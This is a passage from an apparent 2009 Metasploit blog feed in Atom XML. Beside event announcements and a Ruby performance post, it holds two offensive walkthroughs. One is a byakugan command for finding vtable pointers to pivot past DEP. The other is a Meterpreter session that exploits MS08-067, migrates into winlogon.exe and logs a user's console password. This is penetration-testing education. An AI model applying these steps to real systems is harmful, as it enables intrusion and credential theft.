0x1c is added to it points to a pointer to (for example) &lt;br /&gt;&lt;br /&gt;mov esp, esi&lt;br /&gt;ret&lt;br /&gt;&lt;br /&gt;To do this automagically in byakugan, you may now type&lt;br /&gt;&lt;br /&gt;!jutsu searchVtptr [offset in vtable] [opcodes]&lt;br /&gt;&lt;br /&gt;So in this case:&lt;br /&gt;&lt;br /&gt;!jutsu searchVtptr 0x1c mov esp, esi | ret&lt;br /&gt;&lt;br /&gt;Then you can put the return address to turn off dep in your pointer at esi, and roll on along from there. Happy hunting!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-1103833258998953598?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/ZroGdLWnFmE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/1103833258998953598/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=1103833258998953598" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/1103833258998953598?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/1103833258998953598?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/ZroGdLWnFmE/jutsu-searchvtptr.html" title="!jutsu searchVtptr" /><author><name>Pusscat</name><uri>http://www.blogger.com/profile/04626480688334640410</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="07194872526835058982" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/08/jutsu-searchvtptr.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkMDQ3Y8eip7ImA9WxJREU0.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-1444649087054355937</id><published>2009-05-11T20:46:00.000-07:00</published><updated>2009-05-11T20:54:32.872-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-11T20:54:32.872-07:00</app:edited><title>Mastering the Metasploit Framework</title><content type="html">The next &lt;a href="http://blackhat.com/html/bh-usa-09/train-bh-usa-09-hdm-meta.html"&gt;official Metasploit class&lt;/a&gt; will be held in Las Vegas, Nevada during Black Hat USA on July 25th and 26th. This course dives into the newest features of the Metasploit Framework and demonstrates how to use these features in every aspect of a penetration test. Students will learn how to create custom modules to solve specific tasks, launch wide-scale client-side attacks, operate a malicious wireless access point, generate custom backdoors, bypass intrusion prevention systems, automate the post-exploitation process, and much more. The course is split between hands-on labs and lectures, with a focus on practical techniques that have proven successful in the real world.&lt;br /&gt;&lt;br /&gt;To give you an idea of how the class is structured, we have posted part of the &lt;a href="https://metasploit.com/metasploit_bh2009.pdf"&gt;Meterpreter&lt;/a&gt; section online. This course is currently the &lt;b&gt;only&lt;/b&gt; documentation for many of the newer features present in the Framework. &lt;br /&gt;&lt;br /&gt;Hope to see you there!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-1444649087054355937?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/7PjHbTe0uvg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/1444649087054355937/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=1444649087054355937" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/1444649087054355937?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/1444649087054355937?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/7PjHbTe0uvg/mastering-metasploit-framework.html" title="Mastering the Metasploit Framework" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/05/mastering-metasploit-framework.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D08FSXc6eSp7ImA9WxJRF0k.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-687495660478265467</id><published>2009-05-05T17:42:00.000-07:00</published><updated>2009-05-19T08:10:18.911-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-19T08:10:18.911-07:00</app:edited><title>SANS Penetration Testing Summit</title><content type="html">I will be speaking at the &lt;a href="http://www.sans.org/pentesting09_summit/"&gt;SANS 2009 Pen-Test Summit&lt;/a&gt; on the future of Metasploit and some of the &lt;a href="http://trac.metasploit.com/timeline"&gt;recent updates&lt;/a&gt; to the project. The summit runs May 31st to June 9th at the Paris in Las Vegas. Based on my experience last year and the &lt;a href="http://www.sans.org/pentesting09_summit/agenda.php"&gt;speaker lineup&lt;/a&gt;, it looks like a blast. Hope to see you there!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-687495660478265467?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/qzlZNNMtsdI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/687495660478265467/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=687495660478265467" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/687495660478265467?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/687495660478265467?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/qzlZNNMtsdI/sans-penetration-testing-summit.html" title="SANS Penetration Testing Summit" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/05/sans-penetration-testing-summit.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEACSXY4fSp7ImA9WxVUGUs.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-1584885714794931711</id><published>2009-03-25T00:33:00.000-07:00</published><updated>2009-03-25T00:39:28.835-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-25T00:39:28.835-07:00</app:edited><title>&lt;&lt;&gt;+=</title><content type="html">The Metasploit Framework has had performance issues at startup for a long time.  It is not uncommon for initial loading of our 600+ modules to take upwards of 30 seconds (or worse on older hardware).  Previously, I attributed the slow startup time to the massive amount of ruby code and the staggering number of objects that had to be instantiated.  After all, msf is far and away the biggest ruby project on the planet.  HD has done an excellent job with the new module format to reduce that initial overhead but algorithm complexity evidently has more to do with the problem.  A couple of weeks ago Yoann Guillot sent us a simple patch that changed a few uses of += on String objects to &lt;&lt;.  The performance change was profound.&lt;br /&gt;&lt;br /&gt;It turns out that &lt;code&gt;a &lt;&lt; b&lt;/code&gt; realloc()'s &lt;code&gt;a&lt;/code&gt; to be big enough to hold both buffers, then concatenates &lt;code&gt;b&lt;/code&gt; to the end of &lt;code&gt;a&lt;/code&gt;, a &lt;a href="http://en.wikipedia.org/wiki/Big_O_notation"&gt;Big-Oh&lt;/a&gt; of n operation.  &lt;code&gt;a += b&lt;/code&gt;, on the other hand, makes a new buffer big enough to hold both a and b, then copies them each into the new buffer.  By itself, this will always be a little slower than &lt;&lt;, but it is still O(n).&lt;br /&gt;&lt;br /&gt;However...&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;framework3 $ time ruby -e 'a = "A"; 100000.times { a &lt;&lt; "A" }'&lt;br /&gt;&lt;br /&gt;real    0m0.338s&lt;br /&gt;user    0m0.312s&lt;br /&gt;sys     0m0.024s&lt;br /&gt;&lt;br /&gt;framework3 $ time ruby -e 'a = "A"; 100000.times { a += "A" }'&lt;br /&gt;&lt;br /&gt;real    0m15.462s&lt;br /&gt;user    0m15.321s&lt;br /&gt;sys     0m0.068s&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Put += in a loop, as in the above example, and it becomes a O(n&lt;sup&gt;2&lt;/sup&gt;) operation because you have to copy "A", then "AA", then "AAA"...  Now that we've seen the underlying problem, let's see what kind of difference the patch makes.&lt;br /&gt;&lt;br /&gt;Before the patch:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;framework3 $ rm ~/.msf3/modcache &amp;&amp; time (echo exit | ./msfconsole &gt;/dev/null)&lt;br /&gt;&lt;br /&gt;real    0m45.428s&lt;br /&gt;user    0m43.679s&lt;br /&gt;sys     0m0.912s&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;After the patch:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;framework3 $ rm ~/.msf3/modcache &amp;&amp; time (echo exit | ./msfconsole &gt;/dev/null)&lt;br /&gt;&lt;br /&gt;real    0m15.970s&lt;br /&gt;user    0m15.213s&lt;br /&gt;sys     0m0.548s&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;As you can see, startup time is still not blazingly fast on old hardware (all of the benchmarks were performed on a 1.4GHz Pentium M) but it is now much more&lt;br /&gt;tolerable.&lt;br /&gt;&lt;br /&gt;Before you run off and change every instance of += to &lt;&lt; in your ruby code, it's important to note that the two don't perform the same operation.  Because ruby does assignment by reference, the latter overwrites any variables that point to the one you're operating on while the former leaves any references untouched.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;framework3 $ irb&lt;br /&gt;&gt;&gt; a = "A"&lt;br /&gt;=&gt; "A"&lt;br /&gt;&gt;&gt; b = a&lt;br /&gt;=&gt; "A"&lt;br /&gt;&gt;&gt; a &lt;&lt; "B"&lt;br /&gt;=&gt; "AB"&lt;br /&gt;&gt;&gt; b&lt;br /&gt;=&gt; "AB"&gt;&gt; c = "C"&lt;br /&gt;=&gt; "C"&lt;br /&gt;&gt;&gt; d = c&lt;br /&gt;=&gt; "C"&lt;br /&gt;&gt;&gt; c += "D"&lt;br /&gt;=&gt; "CD"&lt;br /&gt;&gt;&gt; d&lt;br /&gt;=&gt; "C"&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;This is really the first time in my ruby experience where I've had to think about the underlying implementation.  Up until now, the ruby interpreter was a magical box from which dazzling lights and impressive fireballs of code sprang to life.  Now I see the man behind the curtain around every corner.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-1584885714794931711?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/WFG-FY84TMo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/1584885714794931711/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=1584885714794931711" title="7 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/1584885714794931711?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/1584885714794931711?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/WFG-FY84TMo/blog-post.html" title="&lt;&lt;&gt;+=" /><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="13715053912532715439" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">7</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/03/blog-post.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0YGQ3Yyfip7ImA9WxVUF0o.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-2053003231903979953</id><published>2009-03-22T20:22:00.000-07:00</published><updated>2009-03-22T20:32:02.896-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-22T20:32:02.896-07:00</app:edited><title>Capturing Logon Credentials with Meterpreter</title><content type="html">In my &lt;a href="http://blog.metasploit.com/2009/03/remote-keystroke-sniffing-with.html"&gt;previous post&lt;/a&gt;, I described the keystroke sniffing capabilities of the Meterpreter payload. One of the key restrictions of this feature is that it can only sniff while running inside of a process with interactive access to the desktop. In the case of the MS08-067 exploit, we had to &lt;b&gt;migrate&lt;/b&gt; into Explorer.exe in order to capture the logged-on user's keystrokes.&lt;br /&gt;&lt;br /&gt;While testing the keystroke sniffer, it occurred to me to migrate into the Winlogon.exe process instead. This process should have interactive access to the desktop, however when I tried to sniff the active user's keystrokes this way, it was not successful. Although Winlogon could not access the logged-on desktop using GetAsyncKeyState, it can capture the username and password of anyone logging into the target's console. The example below demonstrates this process:&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &amp;gt; exploit&lt;br /&gt;[*] Triggering the vulnerability...&lt;br /&gt;[*] Sending stage (2650 bytes)&lt;br /&gt;[*] Uploading DLL (75787 bytes)...&lt;br /&gt;[*] Upload completed.&lt;br /&gt;[*] Meterpreter session 1 opened&lt;br /&gt;&lt;br /&gt;meterpreter &amp;gt; ps&lt;br /&gt;&lt;br /&gt;Process list&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt;PID   Name          Path                                                                                        &lt;br /&gt;---   ----          ----                                                                                        &lt;br /&gt;292   wscntfy.exe   C:\WINDOWS\system32\wscntfy.exe                                                             &lt;br /&gt;316   Explorer.EXE  C:\WINDOWS\Explorer.EXE                                                                     &lt;br /&gt;356   smss.exe      \SystemRoot\System32\smss.exe                                                               &lt;br /&gt;416   csrss.exe     \??\C:\WINDOWS\system32\csrss.exe                                                           &lt;br /&gt;440   winlogon.exe  \??\C:\WINDOWS\system32\winlogon.exe                                                        &lt;br /&gt;[ snip ]&lt;br /&gt;&lt;br /&gt;meterpreter &amp;gt; migrate 440&lt;br /&gt;[*] Migrating to 440...&lt;br /&gt;[*] Migration completed successfully.&lt;br /&gt;&lt;br /&gt;meterpreter &amp;gt; keyscan_start &lt;br /&gt;Starting the keystroke sniffer...&lt;br /&gt;[ wait for user login ]&lt;br /&gt;&lt;br /&gt;meterpreter &amp;gt; keyscan_dump &lt;br /&gt;Dumping captured keystrokes...&lt;br /&gt;Administrator &amp;lt;Tab&amp;gt;  s3cretp4ss &amp;lt;Return&amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-2053003231903979953?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/CKseucJ9hKo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/2053003231903979953/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=2053003231903979953" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/2053003231903979953?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/2053003231903979953?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/CKseucJ9hKo/capturing-logon-credentials-with.html" title="Capturing Logon Credentials with Meterpreter" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/03/capturing-logon-credentials-with.html</feedburner:origLink></entry></feed>
